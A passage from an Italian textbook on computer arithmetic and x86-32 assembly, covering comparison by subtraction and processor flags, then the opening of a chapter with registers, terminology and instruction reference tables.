x &= 0\ 1\ 1\ 0\ 1\ 1\ 0\ 0 \\
x-1 &= 0\ 1\ 1\ 0\ 1\ 0\ 1\ 1 \\
x\ AND\ (x-1) &= 0\ 1\ 1\ 0\ 1\ 0\ 0\ 0
\end{aligned}
$$

Per converso, se si incrementa di una unità un valore e poi si abbinata l'operatore logico OR (tra il valore originale e quello incrementato di una unità), si ottiene di portare a uno la cifra meno significativa che prima era a zero:

$$
\begin{aligned}
x &= 0\ 1\ 1\ 0\ 1\ 0\ 1\ 1 \\
x+1 &= 0\ 1\ 1\ 0\ 1\ 1\ 0\ 0 \\
x\ OR\ (x+1) &= 0\ 1\ 1\ 0\ 1\ 1\ 1\ 1
\end{aligned}
$$

74.6 Confronti attraverso la sottrazione

Il confronto tra due valori avviene provando a sottrarne uno dall'altro. In un microprocessore, l'esito di una sottrazione, come mostrato dagli indicatori comuni, consente di confrontare i valori originali.

74.6.1 Confronto di valori senza segno

Se si esegue una sottrazione e si attiva l'indicatore del risultato zero, senza la presenza di una richiesta del prestito di una cifra, i valori sono uguali; se il valore ottenuto è diverso da zero e non c'è alcuna richiesta di prestito, vuol dire che il sottraendo ha un valore inferiore al minuendo; negli altri casi, il sottraendo ha un valore maggiore del minuendo.

Figura 74.72. Confronto di valori senza segno.

$$
\begin{array}{r} a\ 1011- \\ b\ \underline{1010}= \\ 0001 \\ a > b \end{array}
\quad \text{indicatori: } 0\,0\,0\,0 \ (borrow, zero, segno, overflow)
$$

$$
\begin{array}{r} a\ 1011- \\ b\ \underline{1011}= \\ 0000 \\ a = b \end{array}
\quad \text{indicatori: } 0\,1\,0\,0 \ (borrow, zero, segno, overflow)
$$

$$
\begin{array}{r} a\ 1011- \\ b\ \underline{1100}= \\ 1111 \\ a < b \end{array}
\quad \text{indicatori: } 1\,0\,1\,0 \ (borrow, zero, segno, overflow)
$$

74.6.2 Confronto di valori con segno

Il confronto tra valori con segno avviene in modo meno intuitivo di quello che invece lo ignora. Qui non si considera l'indicatore del prestito di una cifra, mentre vanno considerati al suo posto gli indicatori di segno e di traboccamento, che possono essere uguali o meno tra di loro. Pertanto: se il risultato della sottrazione dà zero, i valori confrontati sono uguali; se il risultato della sottrazione è diverso da zero, se gli indicatori di segno e di traboccamento sono uguali, vuol dire che il sottraendo è inferiore del minuendo; diversamente il sottraendo è superiore al minuendo.

Figura 74.73. Confronto di valori con segno.

		indicatori (borrow, zero, segno, overflow)	
a 0111 −	b 1000 =	1111	0 0 1 1 — $a > b$
a 1011 −	b 1011 =	0000	0 1 0 0 — $a = b$
a 1011 −	b 0100 =	0111	0 0 0 1 — $a < b$

Dal momento che il meccanismo del confronto di valori con segno può essere difficile da comprendere con pochi esempi, si aggiunge un prospetto con i confronti fra tutti i valori che si possono rappresentare con due soli bit, sia senza segno, sia con segno. Nel prospetto viene mostrata la sottrazione e l'addizione dopo l'inversione del sottraendo, inoltre sono annotati tutti i riporti e i prestiti parziali.

Figura 74.74. Verifica di tutti i casi di confronto per valori a due bit.

	minuendo		sottraendo		risultato	confronto	sottrazione con prestito di cifre	somma del sottraendo dopo la trasformazione con il complemento a uno e l'aggiunta di una unità	borrow	zero	segno	overflow
con segno	1	-	-2	=	3	1 > -2	*1 0* / 0 1 - / 1 0 = / 1 1	*0 1* 1 / 0 1 + / 0 1 = / 1 1	1	0	1	1
senza segno	1	-	2	=	-1	1 < 2						
con segno	1	-	-1	=	2	1 > -1	*1 0* / 0 1 - / 1 1 = / 1 0	*0 1* 1 / 0 1 + / 0 0 = / 1 0	1	0	1	1
senza segno	1	-	3	=	-2	1 < 3						
con segno	1	-	0	=	1	1 > 0	*0 0* / 0 1 - / 0 0 = / 0 1	*1 1* 1 / 0 1 + / 1 1 = / 0 1	0	0	0	0
senza segno	1	-	0	=	1	1 > 0						
con segno	1	-	1	=	0	1 = 1	*0 0* / 0 1 - / 0 1 = / 0 0	*1 1* 1 / 0 1 + / 1 0 = / 0 0	0	1	0	0
senza segno	1	-	1	=	0	1 = 1						
con segno	0	-	-2	=	2	0 > -2	*1 0* / 0 0 - / 1 0 = / 1 0	*0 1* 1 / 0 0 + / 0 1 = / 1 0	1	0	1	1
senza segno	0	-	2	=	-2	0 < 2						
con segno	0	-	-1	=	1	0 > -1	*1 1* / 0 0 - / 1 1 = / 0 1	*0 0* 1 / 0 0 + / 0 0 = / 0 1	1	0	0	0
senza segno	0	-	3	=	-3	0 < 3						
con segno	0	-	0	=	0	0 = 0	*0 0* / 0 0 - / 0 0 = / 0 0	*1 1* 1 / 0 0 + / 1 1 = / 0 0	0	1	0	0
senza segno	0	-	0	=	0	0 = 0						
con segno	0	-	1	=	-1	0 < 1	*1 1* / 0 0 - / 0 1 = / 1 1	*0 0* 1 / 0 0 + / 1 0 = / 1 1	1	0	1	0
senza segno	0	-	1	=	-1	0 < 1						
con segno	-1	-	-2	=	1	-1 > -2	*0 0* / 1 1 - / 1 0 = / 0 1	*1 1* 1 / 1 1 + / 0 1 = / 0 1	0	0	0	0
senza segno	3	-	2	=	1	3 > 2						
con segno	-1	-	-1	=	0	-1 = -1	*0 0* / 1 1 - / 1 1 = / 0 0	*1 1* 1 / 1 1 + / 0 0 = / 0 0	0	1	0	0
senza segno	3	-	3	=	0	3 = 3						
con segno	-1	-	0	=	-1	-1 < 0	*0 0* / 1 1 - / 0 0 = / 1 1	*1 1* 1 / 1 1 + / 1 1 = / 1 1	0	0	1	0
senza segno	3	-	0	=	3	3 > 0						
con segno	-1	-	1	=	-2	-1 < 1	*0 0* / 1 1 - / 0 1 = / 1 0	*1 1* 1 / 1 1 + / 1 0 = / 1 0	0	0	1	0
senza segno	3	-	1	=	2	3 > 1						
con segno	-2	-	-2	=	0	-2 = -2	*0 0* / 1 0 - / 1 0 = / 0 0	*1 1* 1 / 1 0 + / 0 1 = / 0 0	0	1	0	0
senza segno	2	-	2	=	0	2 = 2						
con segno	-2	-	-1	=	-1	-2 < -1	*1 1* / 1 0 - / 1 1 = / 1 1	*0 0* 1 / 1 0 + / 0 0 = / 1 1	1	0	1	0
senza segno	2	-	3	=	-1	2 < 3						
con segno	-2	-	0	=	-2	-2 < 0	*0 0* / 1 0 - / 0 0 = / 1 0	*1 1* 1 / 1 0 + / 1 1 = / 1 0	0	0	1	0
senza segno	2	-	0	=	2	2 > 0						
con segno	-2	-	1	=	-3	-2 < 1	*0 1* / 1 0 - / 0 1 = / 0 1	*1 0* 1 / 1 0 + / 1 0 = / 0 1	0	0	0	1
senza segno	2	-	1	=	1	2 > 1						

74.7 Riferimenti

- Jonathan Bartlett, *Programming from the ground up*, 2003
  ⟨*http://savannah.nongnu.org/projects/pgubook/* ⟩
- Paul A. Carter, *PC Assembly Language*, 2006
  ⟨*http://www.drpaulcarter.com/pcasm/* ⟩
- Wikipedia, *Addressing mode*
  ⟨*http://en.wikipedia.org/wiki/Addressing_mode* ⟩
- Mario Italiani, Giuseppe Serazzi, *Elementi di informatica*, ETAS libri, 1973, ISBN 8845303632
- Sandro Petrizzelli, *Appunti di elettronica digitale*
  ⟨*http://users.libero.it/sandry/Digitale_01.pdf* ⟩
- Tony R. Kuphaldt, *Lessons In Electric Circuits*
  ⟨*http://www.faqs.org/docs/electric/* ⟩
- Wikipedia, *Sistema numerico binario*
  ⟨*http://it.wikipedia.org/wiki/Sistema_numerico_binario* ⟩
- Wikipedia, *IEEE 754*
  ⟨*http://it.wikipedia.org/wiki/IEEE_754* ⟩

[1] Questa sezione riprende e in parte ripete, per maggiore chiarezza, un concetto già presentato nella sezione 74.1.8.

[2] Nel contesto riferito alla definizione di un numero in virgola mobile, si possono usare indifferentemente i termini ***mantissa*** o ***significante***, così come sono indifferenti i termini ***caratteristica*** o ***esponente***.

[3] Si osservi che lo standard IEEE 754 utilizza una «mantissa normalizzata» che indica la frazione di valore tra uno e due: «1,***mantissa***.

[4] Considerato che si tratta di un numero da esprimere in base due, il valore che viene moltiplicato per la potenza di due è un numero che va da uno a due.

[5] Per completezza, questa sezione riprende un concetto già descritto nella sezione 74.1.6.

Microprocessori x86-32

Capitolo 75

75.1 Terminologia impropria 4215

75.2 Registri principali fino ai 32 bit 4216

75.3 Sintesi delle istruzioni principali 4217

75.4 Primo approccio al linguaggio assemblatore per x86 4226

75.4.1 Il primo programma 4226
75.4.2 Utilizzo di GDB 4229
75.4.3 Modalità «TUI» 4235
75.4.4 Utilizzo di DDD 4237
75.4.5 Alcune istruzioni comuni 4239
75.4.6 Dimensione dei dati nelle istruzioni 4241
75.4.7 Direttive per il compilatore 4242
75.4.8 Sezioni del sorgente 4244
75.4.9 Usare GNU AS con la notazione Intel 4245

75.5 Esempi con le «quattro operazioni» 4245

75.5.1 Somma 4247
75.5.2 Sottrazione 4254
75.5.3 Moltiplicazione senza segno 4259
75.5.4 Moltiplicazione con segno 4261
75.5.5 Divisione 4262

75.6 Esempi con gli «spostamenti» 4264

75.6.1 Scorrimento logico 4264
75.6.2 Scorrimento aritmetico 4267
75.6.3 Rotazione 4269
75.6.4 Rotazione con riporto 4271

75.7 Esempi con i confronti 4273

75.8 Le istruzioni di salto 4278

75.8.1 Portata del salto 4278
75.8.2 Salto incondizionato 4278
75.8.3 Salto condizionato dallo stato di un indicatore 4279
75.8.4 Salto condizionato da un confronto 4280
75.8.5 Cicli 4282

75.9 Esempi di programmi con strutture di controllo 4282

75.9.1 Somma attraverso l'incremento unitario 4282

75.9.2 Moltiplicazione attraverso la somma 4284
75.9.3 Divisione attraverso la sottrazione 4286
75.9.4 Elevamento a potenza 4288
75.9.5 Moltiplicazione attraverso lo scorrimento e la somma 4289
75.9.6 Conteggio dei bit a uno 4291

75.10 Funzioni 4293

75.10.1 Esempio banale di chiamata 4293
75.10.2 Salvataggio dei registri prima della chiamata 4295
75.10.3 Passaggio di parametri attraverso la pila 4295
75.10.4 Utilizzo del registro «EBP» 4300
75.10.5 Allocazione dello spazio per le variabili locali e preservazione dei registri 4303
75.10.6 Convenzioni di chiamata 4307
75.10.7 Nota sugli array «locali» 4308

75.11 Esempi di funzioni ricorsive 4308

75.11.1 Elevamento a potenza 4308
75.11.2 Fattoriale 4311

75.12 Indirizzamento dei dati 4314

75.12.1 Gestione di array 4315
75.12.2 Istruzione «LEA» 4319

75.13 Rappresentazione dei dati in memoria attraverso un esempio 4320

75.14 Esempi con gli array 4324

75.14.1 Ricerca sequenziale 4324
75.14.2 Ricerca binaria 4327
75.14.3 Bubblesort 4330

75.15 Calcoli con gli indirizzi in fase di compilazione 4333

75.15.1 Distanza tra due indirizzi 4334
75.15.2 Riempimento di spazio inutilizzato 4335

75.16 Interazione con il sistema operativo 4336

75.16.1 Parametri di chiamata del programma 4336
75.16.2 Funzioni del sistema operativo 4338
75.16.3 Esempi di lettura e scrittura con i flussi standard 4339

75.17 Riferimenti 4342

.ascii 4242 .bss 4244 .byte 4242 .data 4244 .equ 4242 .int 4242 .lcomm 4242 .text 4244 ADC 4218 4252 ADD 4218 4240 4247 AH 4216 AL 4216 AND 4220 AX 4216 BH 4216 BL 4216 BP 4216 BSWAP 4217 BX 4216 CALL 4221 4293 4308 CBW 4217 CDQ 4217 CH 4216 CL 4216 CLC 4222 CMC 4222 CMP 4222 4273 4280 4282 CWDE 4217 CX 4216 db 4242 dd 4242 DEC 4218 4241 4282 DH 4216 DI 4216 DIV 4218 4262 DL 4216 DX 4216 EAX 4216 EBP 4216 4300 EBX 4216 ECX 4216 EDI 4216 EDX 4216 EFLAGS 4216 EIP 4216 ENTER 4303 4308 equ 4242 ESI 4216 ESP 4216 FLAGS 4216 IDIV 4218 4262 IMUL 4218 4261 INC 4218 4241 4282 INT 4221 4226 IP 4216 JA 4222 4280 JAE 4222 4280 JB 4222 4280 4286 JBE 4222 4280 JC 4222 4279 JCXZ 4222 JE 4222 4280 4282 JG 4222 4280 JGE 4222 4280 JL 4222 4280 JLE 4222 4280 JMP 4222 4278 4284 JNA 4222 4280 JNAE 4222 4280 JNB 4222 JNBE 4222 4280 JNC 4222 4279 4293 JNE 4222 4280 JNG 4222 4280 JNGE 4222 4280 JNL 4222 4280 JNLE 4280 JNO 4222 4279 JNP 4222 4279 JNS 4222 4279 JNZ 4222 4279 4282 JO 4222 4279 JP 4222 4279 JS 4222 4279 JZ 4222 4279 4288 LEA 4217 4319 LEAVE 4303 4308 LOOP 4226 4282 4282 LOOPE 4226 4282 LOOPNE 4226 4282 LOOPNZ 4226 4282 LOOPZ 4226 4282 MOV 4217 4226 4240 MOVSX 4217 MOVZX 4217 4293 MUL 4218 4259 NEG 4218 4255 NOP 4217 NOT 4220 OR 4220 POP 4221 4295 POPA 4221 4303 4308 POPAD 4221 POPF 4221 PUSH 4221 4295 PUSHA 4221 4303 4308 PUSHF 4221 RCL 4220 4271 RCR 4220 4271 resb 4242 resd 4242 resw 4242 RET 4221 4293 4308 ROL 4220 4269 ROR 4220 4269 SAL 4220 4267 SAR 4220 4267 SBB 4218 4257 SETA 4224 SETAE 4224 SETB 4224 SETBE 4224 SETC 4224 SETE 4224 SETG 4224 SETGE 4224 SETL 4224 SETLE 4224 SETNA 4224 SETNAE 4224 SETNB 4224 SETNBE 4224 SETNC 4224 SETNE 4224 SETNG 4224 SETNGE 4224 SETNL 4224 SETNLE 4224 SETNO 4224 SETNS 4224 SETNZ 4224 SETO 4224 SETS 4224 SETZ 4224 SHL 4220 4264 4289 SHR 4220 4264 4289 SI 4216 SP 4216 SUB 4218 4240 4254 TEST 4222 XCHG 4217 XOR 4220

75.1 Terminologia impropria

È bene ricordare che nella documentazione standard sui microprocessori x86 si usa una terminologia coerente, ma impropria, riferita alla dimensione delle unità di dati. In particolare, il problema nasce dal fatto che originariamente questi microprocessori avevano parole da 16 bit, così è stato associato il termine *word* a 16 bit ed è rimasta tale l'associazione anche con la trasformazione successiva a 32 bit. Pertanto, generalmente valgono le convenzioni riportate nella tabella successiva.

Tabella 75.1. Terminologia associata alla dimensione dei dati nei microprocessori x86.

Definizione o abbreviazione	Dimensione dei dati	Definizione o abbreviazione	Dimensione dei dati
«b», byte	8 bit	«w», *word*	16 bit
«d», «dw», *dword*, *double word*	32 bit	«q», «qw», *qword*, *quad word*	64 bit

75.2 Registri principali fino ai 32 bit

I registri dei microprocessori x86 sono stati inizialmente da 16 bit; successivamente, quelli principali sono stati estesi a 32 bit. Alcuni registri hanno una funzione ben precisa; gli altri sono utilizzabili per scopi generali, ma in pratica ognuno ha un compito preferenziale.

Tutti i registri che sono stati estesi da 16 bit; a 32 bit; hanno due nomi: uno riferito alla porzione dei 16 bit meno significativi, l'altro che riguarda il registro nel suo complesso. Inoltre, per quattro registri in particolare, è possibile individuare anche i due byte che compongono la parte meno significativa. Per esempio, il registro ***EAX*** ha una dimensione di 32 bit, di cui è possibile individuare i 16 bit meno significativi con il nome ***AX***, ma in più, il nome ***AL*** individua il byte meno significativo di ***AX*** mentre ***AH*** ne individua quello più significativo.

Il registro ***EIP*** (o ***IP*** nei microprocessori a 16 bit) viene gestito automaticamente e serve a contenere l'indirizzo dell'istruzione successiva da eseguire. In effetti, la gestione manuale di tale registro non sarebbe conveniente, dal momento che la dimensione delle istruzioni in linguaggio macchina varia in base al tipo e agli operandi.

Il registro ***ESP*** (o ***SP*** nei microprocessori a 16 bit) individua l'ultimo elemento della pila dei dati e può essere gestito manualmente, sapendo che questo indice si deve spostare a gruppi di quattro byte (o due byte nella versione a 16 bit) e che la pila cresce diminuendo l'indice.

Il registro ***EBP*** (o ***BP*** nei microprocessori a 16 bit) si affianca all'indice della pila, per tenere conto della posizione raggiunta all'inizio di una funzione.

Il registro ***EFLAGS*** (o ***FLAGS*** nei microprocessori a 16 bit) raccoglie i vari indicatori che descrivono l'esito delle operazioni svolte. In particolare sono importanti gli indicatori che appaiono nella tabella 75.3.

Figura 75.2. Registri principali.

Tabella 75.3. Gli indicatori principali, contenuti nel registro ***FLAGS***.

Indicatore (*flag*)	Descrizione
C *carry*	È l'indicatore del riporto per le operazioni con valori senza segno. In particolare si attiva dopo una somma che genera un riporto e dopo una sottrazione che richiede il prestito di una cifra (in tal caso si chiama anche *borrow*).
O *overflow*	È l'indicatore di traboccamento per le operazioni che riguardano valori con segno.
Z *zero*	Viene impostato dopo un'operazione che dà come risultato il valore zero.
S *sign*	Riproduce il bit più significativo di un valore, dopo un'operazione. Se il valore è da intendersi con segno, l'indicatore serve a riprodurre il segno stesso.
P *parity*	Si attiva quando l'ultima operazione produce un risultato i cui otto bit meno significativi contengono una quantità pari di cifre a uno.

75.3 Sintesi delle istruzioni principali

Nelle tabelle successive vengono annotate le istruzioni più semplici che possono essere utilizzate con i microprocessori x86, raggruppate secondo il contesto a cui appartengono. In modo particolare sono assenti le istruzioni per i calcoli in virgola mobile e quelle per la gestione delle stringhe.

L'ordine in cui sono specificati gli operandi è quello «Intel», ovvero appare prima la destinazione e poi l'origine. Le sigle usate per definire i tipi di operandi sono: ***reg*** per «registro»; ***mem*** per «memoria»; ***imm*** per «immediato» (costante numerica).

Nella colonna degli indicatori appare: il simbolo «#» per annotare che l'indicatore relativo può essere modificato dall'istruzione; il simbolo «t» per annotare che lo stato precedente dell'indicatore viene considerato dall'istruzione; zero o uno se l'indicatore viene impostato in un certo modo; il simbolo «?» se l'effetto dell'istruzione sull'indicatore è indefinito.

Tabella 75.4. Assegnamenti, scambi, conversioni e istruzione nulla.

Nome	Operandi: ***dst***, ***org1***, ***org2***	Descrizione	Indicatori principali: *carry*, *parity*, *zero*, *sign*, *overflow*
`NOP`		Istruzione nulla.	`c p z s o` `. . . . .`
`MOV`	***reg***, ***reg*** ***reg***, ***mem*** ***reg***, ***imm*** ***mem***, ***reg*** ***mem***, ***imm***	Copia il valore dell'origine nella destinazione. Origine e destinazione devono avere la stessa quantità di bit. ***dst*** := ***org***	`c p z s o` `. . . . .`
`LEA`	***reg32***, ***mem***	*load effective address* Mette nel registro l'indirizzo della memoria. ***dst*** := indirizzo(***org***)	`c p z s o` `. . . . .`

Nome	Operandi: ***dst***, ***org1***, ***org2***	Descrizione	Indicatori principali: *carry*, *parity*, *zero*, *sign*, *overflow*
`MOVSX`	***reg16***, ***reg8*** ***reg16***, ***mem8*** ***reg32***, ***reg8*** ***reg32***, ***mem8*** ***reg32***, ***reg16*** ***reg32***, ***mem16***	Tratta il valore nell'origine come un numero con segno e lo estende in modo da occupare tutto lo spazio della destinazione.	`c p z s o` `. . . . .`
`MOVZX`	***reg16***, ***reg8*** ***reg16***, ***mem8*** ***reg32***, ***reg8*** ***reg32***, ***mem8*** ***reg32***, ***reg16*** ***reg32***, ***mem16***	Tratta il valore nell'origine come un numero senza segno e lo estende in modo da occupare tutto lo spazio della destinazione.	`c p z s o` `. . . . .`
`XCHG`	***reg***, ***reg*** ***reg***, ***mem*** ***mem***, ***reg***	Scambia i valori. ***dst*** :==: ***org***	`c p z s o` `. . . . .`
`CBW`		Converte un intero con segno, della dimensione di 8 bit, contenuto in ***AL***, in modo da occupare tutto ***AX*** (da 8 bit a 16 bit). L'espansione tiene conto del segno. ***AX*** := ***AL***	`c p z s o` `. . . . .`
`CWDE`		Converte un intero con segno, della dimensione di 16 bit, contenuto in ***AX***, in modo da occupare ***EAX*** (da 16 bit a 32 bit). L'espansione tiene conto del segno. ***EAX*** := ***AX***	`c p z s o` `. . . . .`
`CDQ`		Converte un intero con segno, della dimensione di 32 bit, contenuto in ***EAX***, in modo da occupare la somma di ***EDX***:***EAX*** (da 32 bit a 64 bit). L'espansione tiene conto del segno. ***EDX***:***EAX*** := ***EAX***	`c p z s o` `. . . . .`
`BSWAP`	***reg32***	Inverte l'ordine dei byte contenuti nel registro: quello meno significativo diventa il più significativo; la coppia interna si scambia.	`c p z s o` `. . . . .`

Tabella 75.5. Operazioni aritmetiche.

Nome	Operandi: ***dst***, ***org1***, ***org2***	Descrizione	Indicatori principali: *carry*, *parity*, *zero*, *sign*, *overflow*
`NEG`	***reg*** ***mem***	Inverte il segno di un numero, attraverso il complemento a due. ***dst*** := −***dst***	`c p z s o` `# # # # #`

Nome	Operandi: ***dst***, ***org1***, ***org2***	Descrizione	Indicatori principali: *carry*, *parity*, *zero*, *sign*, *overflow*
`ADD`	***reg***, ***reg*** ***reg***, ***mem*** ***reg***, ***imm*** ***mem***, ***reg*** ***mem***, ***imm***	Somma di interi, con o senza segno, ignorando il riporto precedente. Se i valori si intendono con segno, è importante l'esito dell'indicatore di traboccamento (*overflow*), se invece i valori sono da intendersi senza segno, è importante l'esito dell'indicatore di riporto (*carry*). ***dst* := *org* + *dst***	`c p z s o` `# # # # #`
`SUB`	***reg***, ***reg*** ***reg***, ***mem*** ***reg***, ***imm*** ***mem***, ***reg*** ***mem***, ***imm***	Sottrazione di interi con o senza segno, ignorando il riporto precedente. ***dst* := *org* − *dst***	`c p z s o` `# # # # #`

`ADC`	***reg***, ***reg***
	reg, ***mem***
	reg, ***imm***
	mem, ***reg***
	mem, ***imm***
		Somma di interi, con o senza segno, aggiungendo anche il riporto precedente (l'indicatore *carry*).
		dst* := *org* + *dst* + *c
			`c p z s o`
			`t . . . .`
			`# # # # #`

`SBB`	***reg***, ***reg***
	reg, ***mem***
	reg, ***imm***
	mem, ***reg***
	mem, ***imm***
		Sottrazione di interi, con o senza segno, tenendo conto del «prestito» precedente (l'indicatore *carry*).
		dst* := *org* + *dst* − *c
			`c p z s o`
			`t . . . .`
			`# # # # #`

`INC`	***reg*** ***mem***	Incrementa di una unità un intero. ***dst*++**	`c p z s o` `. # # # #`
`DEC`	***reg*** ***mem***	Decrementa di una unità un valore intero. ***dst*−−**	`c p z s o` `. # # # #`
`MUL`	***reg*** ***mem***	Moltiplicazione intera senza segno. L'operando è il moltiplicatore, mentre il moltiplicando è costituito da registri prestabiliti. ***AX* := *AL**src** ***DX:AX* := *AX**src** ***EDX:EAX* := *EAX**src**	`c p z s o` `# ? ? ? #`
`DIV`	***reg*** ***mem***	Divisione intera senza segno. L'operando è il divisore, mentre il dividendo è costituito da registri prestabiliti. ***AL* := *AX*/*src* *AH* := *resto*** ***AX* := *DX:AX*/*src* *DX* := *resto*** ***EAX* := *EDX:EAX*/*src* *EDX* := *resto***	`c p z s o` `? ? ? ? ?`
`IMUL`	***reg*** ***mem***	Moltiplicazione intera con segno. In questo caso l'operando è il moltiplicatore, mentre il moltiplicando è costituito da registri prestabiliti. ***AX* := *AL**src** ***DX:AX* := *AX**src** ***EDX:EAX* := *EAX**src**	`c p z s o` `# ? ? ? #`
`IDIV`	***reg*** ***mem***	Divisione intera con segno. L'operando è il divisore, mentre il dividendo è costituito da registri prestabiliti. ***AL* := *AX*/*src* *AH* := *resto*** ***AX* := *DX:AX*/*src* *DX* := *resto*** ***EAX* := *EDX:EAX*/*src* *EDX* := *resto***	`c p z s o` `? ? ? ? ?`

Tabella 75.6. Operazioni logiche.

Nome	Operandi: ***dst***, ***org1***, ***org2***	Descrizione	Indicatori principali: *carry*, *parity*, *zero*, *sign*, *overflow*
`NOT`	***reg*** ***mem***	NOT di tutti i bit dell'operando. ***dst*** := NOT ***dst***	`c p z s o` `. . . . .`

`AND`
`OR`
`XOR`
	reg, ***reg***
	reg, ***mem***
	reg, ***imm***
	mem, ***reg***
	mem, ***imm***
		AND, OR, o XOR, tra tutti i bit dei due operandi.
		dst := ***org*** AND ***dst***
		dst := ***org*** OR ***dst***
		dst := ***org*** XOR ***dst***
			`c p z s o`
			`0 # # # 0`

Tabella 75.7. Scorrimenti e rotazioni.

Nome	Operandi: ***dst***, ***org1***, ***org2***	Descrizione	Indicatori principali: *carry*, *parity*, *zero*, *sign*, *overflow*
`SHL` `SHR`	***reg***, 1 ***mem***, 1 ***reg*** ***mem***	Fa scorrere i bit, rispettivamente verso sinistra o verso destra (l'ultima cifra perduta finisce nell'indicatore del riporto). Se appare un solo operando, la rotazione viene eseguita ***CL*** volte. Se il valore immediato è maggiore di uno, è il compilatore che ripete l'istruzione per più volte.	`c p z s o` `# . . . #`
`SAL`	***reg***, 1 ***mem***, 1 ***reg*** ***mem***	Funziona esattamente come '**`SHL`**', ma esiste in quanto è la controparte di '**`SAR`**', riferendosi a uno scorrimento aritmetico.	`c p z s o` `# . . . #`
`SAR`	***reg***, 1 ***mem***, 1 ***reg*** ***mem***	Fa scorrere i bit verso destra (l'ultima cifra perduta finisce nell'indicatore del riporto), mantenendo il segno originale. Se appare un solo operando, la rotazione viene eseguita ***CL*** volte. Se il valore immediato è maggiore di uno, è il compilatore che ripete l'istruzione per più volte.	`c p z s o` `# . . . .`

`RCL`
`RCR`
	reg, 1
	mem, 1
	reg
	mem
		Ruota i bit, rispettivamente verso sinistra o verso destra, utilizzando anche l'indicatore di riporto (*carry*). Se appare un solo operando, la rotazione viene eseguita ***CL*** volte. Se il valore immediato è maggiore di uno, è il compilatore che ripete l'istruzione per più volte.	`c p z s o`
			`t . . . .`
			`# . . . #`

`ROL` `ROR`	***reg***, 1 ***mem***, 1 ***reg*** ***mem***	Ruota i bit, rispettivamente verso sinistra o verso destra. Se appare un solo operando, la rotazione viene eseguita ***CL*** volte. Se il valore immediato è maggiore di uno, è il compilatore che ripete l'istruzione per più volte.	`c p z s o` `# . . . #`

Tabella 75.8. Chiamate e gestione della pila.

Nome	Operandi: ***dst***, ***org1***, ***org2***	Descrizione	Indicatori principali: *carry*, *parity*, *zero*, *sign*, *overflow*
`INT`	***imm8***	Esegue una chiamata attraverso un'interruzione.	`c p z s o` `. . . . .`
`CALL`	***reg*** ***mem*** ***imm***	Inserisce nella pila l'indirizzo dell'istruzione successiva e salta all'indirizzo indicato.	`c p z s o` `. . . . .`
`RET`		Estrae dalla pila l'indirizzo dell'istruzione da raggiungere e salta a quella (serve a concludere una chiamata eseguita con '**`CALL`**').	`c p z s o` `. . . . .`
`PUSH`	***reg*** ***mem***	Inserisce nella pila il valore (della dimensione di un registro comune).	`c p z s o` `. . . . .`
`POP`	***reg*** ***mem***	Estrae dalla pila l'ultimo valore inserito (della dimensione di un registro comune).	`c p z s o` `. . . . .`
`PUSHF`		Inserisce nella pila l'insieme del registro degli indicatori (***FLAGS*** o ***EFLAGS***).	`c p z s o` `. . . . .`
`POPF`		Estrae dalla pila l'insieme del registro degli indicatori (***FLAGS*** o ***EFLAGS***), aggiornando di conseguenza il registro stesso.	`c p z s o` `. . . . .`
`PUSHA` `PUSHAD`		Inserisce nella pila i registri principali: '**`PUSHA`**' inserisce nella pila i registri da 16 bit, mentre '**`PUSHAD`**' li inserisce a 32 bit. In sequenza vengono inseriti: ***AX***, ***CX***, ***DX***, ***BX***, ***SP***, ***BP***, ***SI***, ***DI***; ovvero: ***EAX***, ***ECX***, ***EDX***, ***EBX***, ***ESP***, ***EBP***, ***ESI***, ***EDI***. Si osservi che di solito si usa solo '**`PUSHA`**', lasciando al compilatore la responsabilità di scegliere quale istruzione è appropriata per il contesto.	`c p z s o` `. . . . .`
`POPA` `POPAD`		Ripristina i registri principali, estraendo i contenuti dalla pila: '**`POPA`**' ripristina i registri da 16 bit, mentre '**`POPAD`**' riguarda quelli da 32 bit. In sequenza vengono estratti: ***DI***, ***SI***, ***BP***, ***SP*** viene eliminato senza aggiornare il registro, ***BX***, ***DX***, ***CX***, ***AX***; ovvero: ***EDI***, ***ESI***, ***EBP***, ***ESP*** viene eliminato senza aggiornare il registro, ***EBX***, ***EDX***, ***ECX***, ***EAX***. Come si vede, anche se '**`PUSHA`**' e '**`PUSHAD`**' salvano l'indice della pila, in pratica questo indice non viene ripristinato. Si osservi che di solito si usa solo '**`POPA`**', lasciando al compilatore la responsabilità di scegliere quale istruzione è appropriata per il contesto.	`c p z s o` `. . . . .`

Tabella 75.9. Indicatori e confronti.

Nome	Operandi: ***dst***, ***org1***, ***org2***	Descrizione	Indicatori principali: *carry*, *parity*, *zero*, *sign*, *overflow*
`CLC`		Azzera l'indicatore del riporto (*carry*), senza intervenire negli altri indicatori.	`c p z s o` `0 · · · ·`
`CMC`		Inverte il valore dell'indicatore del riporto (*carry*).	`c p z s o` `# · · · ·`
`CMP`	***reg***, ***reg*** ***reg***, ***mem*** ***reg***, ***imm*** ***mem***, ***reg*** ***mem***, ***imm***	Confronta due valori interi. La comparazione avviene simulando la sottrazione dell'origine dalla destinazione, senza però modificare gli operandi, ma aggiornando gli indicatori, come se fosse avvenuta una sottrazione vera e propria. ***dst - org***	`c p z s o` `# # # # #`
`TEST`	***reg***, ***reg*** ***reg***, ***imm*** ***mem***, ***reg*** ***mem***, ***imm***	AND dei due valori senza conservare il risultato. Serve solo a ottenere l'aggiornamento degli indicatori. ***dst*** AND ***org***	`c p z s o` `0 # # # 0`

Tabella 75.10. Salti.

Nome	Operandi: ***dst***, ***org1***, ***org2***	Descrizione	Indicatori principali: *carry*, *parity*, *zero*, *sign*, *overflow*
`JMP`	***reg*** ***mem*** ***imm***	Salto incondizionato all'indirizzo indicato.	`c p z s o` `· · · · ·`
`JA` `JNBE`	***imm***	Dopo un confronto di valori senza segno, salta se la destinazione era maggiore dell'origine. CMP ***dst***, ***org*** IF ***dst*** > ***org*** THEN go to ***imm***	`c p z s o` `t · t · ·`
`JAE` `JNB`	***imm***	Dopo un confronto di valori senza segno, salta se la destinazione era maggiore o uguale all'origine. CMP ***dst***, ***org*** IF ***dst*** >= ***org*** THEN go to ***imm***	`c p z s o` `t · t · ·`
`JB` `JNAE`	***imm***	Dopo un confronto di valori senza segno, salta se la destinazione era minore dell'origine. CMP ***dst***, ***org*** IF ***dst*** < ***org*** THEN go to ***imm***	`c p z s o` `t · t · ·`
`JBE` `JNA`	***imm***	Dopo un confronto di valori senza segno, salta se la destinazione era minore o uguale all'origine. CMP ***dst***, ***org*** IF ***dst*** <= ***org*** THEN go to ***imm***	`c p z s o` `t · t · ·`

